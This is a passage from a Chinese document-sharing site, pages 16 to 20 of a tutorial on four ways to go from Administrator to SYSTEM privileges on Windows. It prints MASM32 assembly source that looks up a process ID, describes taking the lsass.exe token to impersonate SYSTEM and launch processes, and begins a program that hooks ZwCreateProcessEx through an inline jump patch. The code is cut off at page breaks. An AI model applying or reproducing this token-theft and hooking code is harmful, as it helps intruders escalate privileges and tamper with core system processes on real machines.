第一范文网 - 专业文章范例文档资料分享平台

从管理员身份获得SYSTEM-权限的四种方法

来源:用户分享 时间:2025/5/15 19:29:41 本文由loading 分享 下载这篇文档手机版
说明:文章内容仅供预览,部分内容可能不全,需要完整文档或者需要复制内容,请下载word后使用。下载word有问题请添加微信号:xxxxxxx或QQ:xxxxxx 处理(尽可能给您提供完整文档),感谢您的支持与谅解。

从管理员身份获得SYSTEM-权限的四种方法

LOCAL stProcess : PROCESSENTRY32 LOCAL hSnapshot LOCAL dwProcessID

mov dwProcessID, 0

invoke RtlZeroMemory, addr stProcess, sizeof stProcess mov stProcess.dwSize, sizeof stProcess

invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0 mov hSnapshot, eax

invoke Process32First, hSnapshot, addr stProcess .while eax

invoke lstrcmpi, lpProcName, addr stProcess.szExeFile .if eax==0

mov eax, stProcess.th32ProcessID mov dwProcessID, eax .break .endif

invoke Process32Next, hSnapshot, addr stProcess .endw

invoke CloseHandle, hSnapshot mov eax, dwProcessID ret

_GetPidFromProcName endp end start

16 / 33

从管理员身份获得SYSTEM-权限的四种方法

:make

set path=%path%;c:\\masm32\\bin set appname=GetSys2

ml /nologo /c /coff %appname%.bat

link /nologo /subsystem:windows %appname%.obj del %appname%.obj echo. pause

GetSys2 取得 lsass.exe 进程的令牌,缺省情况下操作这个令牌的权限很小, 所以需要先取得操作这个令牌的所有权限。这个任务由函数 _ModifySecurity 来完成。 有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用 CreateProcessAsUser

函数运行 regedit.exe 程序了。有关安全性编程不清楚的地方可以参考[3]。

3. HOOK ZwCreateProcessEx 函数

有关这个[1]里面讲得很清楚了,下面直接给出源代码。

;@echo off ;goto make

;=====================================================================

17 / 33

从管理员身份获得SYSTEM-权限的四种方法

===============

; 以 SYSTEM 权限运行程序 - GetSys3 ; 采用 HOOK ZwCreateProcessEx 函数的方法

;==================================================================================== .386

.model flat, stdcall option casemap :none

include c:\\masm32\\include\\windows.inc include c:\\masm32\\include\\kernel32.inc include c:\\masm32\\include\\advapi32.inc include c:\\masm32\\include\\masm32.inc

includelib c:\\masm32\\lib\\kernel32.lib includelib c:\\masm32\\lib\\advapi32.lib includelib c:\\masm32\\lib\\masm32.lib

_EnablePrivilege proto :DWORD,:DWORD _GetPidFromProcName proto :DWORD _HackedZwCreateProcessEx proto

CTXT MACRO text local lbl

18 / 33

从管理员身份获得SYSTEM-权限的四种方法

.const lbl db text,0 .code exitm ENDM

ASMJMP struct

mov_eax BYTE ? address DWORD ? jmp_eax WORD ? ASMJMP ends .data?

g_hProc dd ? g_dwFunc dd ? .code start proc

LOCAL osvi : OSVERSIONINFO LOCAL lpAsmJmp

LOCAL mbi : MEMORY_BASIC_INFORMATION LOCAL stStartupInfo : STARTUPINFO LOCAL procinfo : PROCESS_INFORMATION

sub eax, eax

19 / 33

从管理员身份获得SYSTEM-权限的四种方法

mov lpAsmJmp, eax

invoke RtlZeroMemory, addr osvi, sizeof osvi invoke RtlZeroMemory, addr mbi, sizeof mbi

invoke RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo invoke RtlZeroMemory, addr procinfo, sizeof procinfo

mov osvi.dwOSVersionInfoSize, sizeof osvi invoke GetVersionEx, addr osvi cmp osvi.dwMajorVersion, 5 jnz _exit

.if osvi.dwMinorVersion==1 mov g_dwFunc, 30h .elseif osvi.dwMinorVersion==2 mov g_dwFunc, 32h .endif

invoke _EnablePrivilege, CTXT(\

invoke _GetPidFromProcName, CTXT(\ test eax, eax jz _exit

invoke OpenProcess, PROCESS_CREATE_PROCESS, TRUE, eax test eax, eax jz _exit

20 / 33

从管理员身份获得SYSTEM-权限的四种方法.doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印
本文链接:https://www.diyifanwen.net/c2o2ot57dam38gut0xsx29kcek7hm3l0140h_4.html(转载请注明文章来源)
热门推荐
Copyright © 2012-2023 第一范文网 版权所有 免责声明 | 联系我们
声明 :本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载的作品侵犯了您的权利,请在一个月内通知我们,我们会及时删除。
客服QQ:xxxxxx 邮箱:xxxxxx@qq.com
渝ICP备2023013149号
Top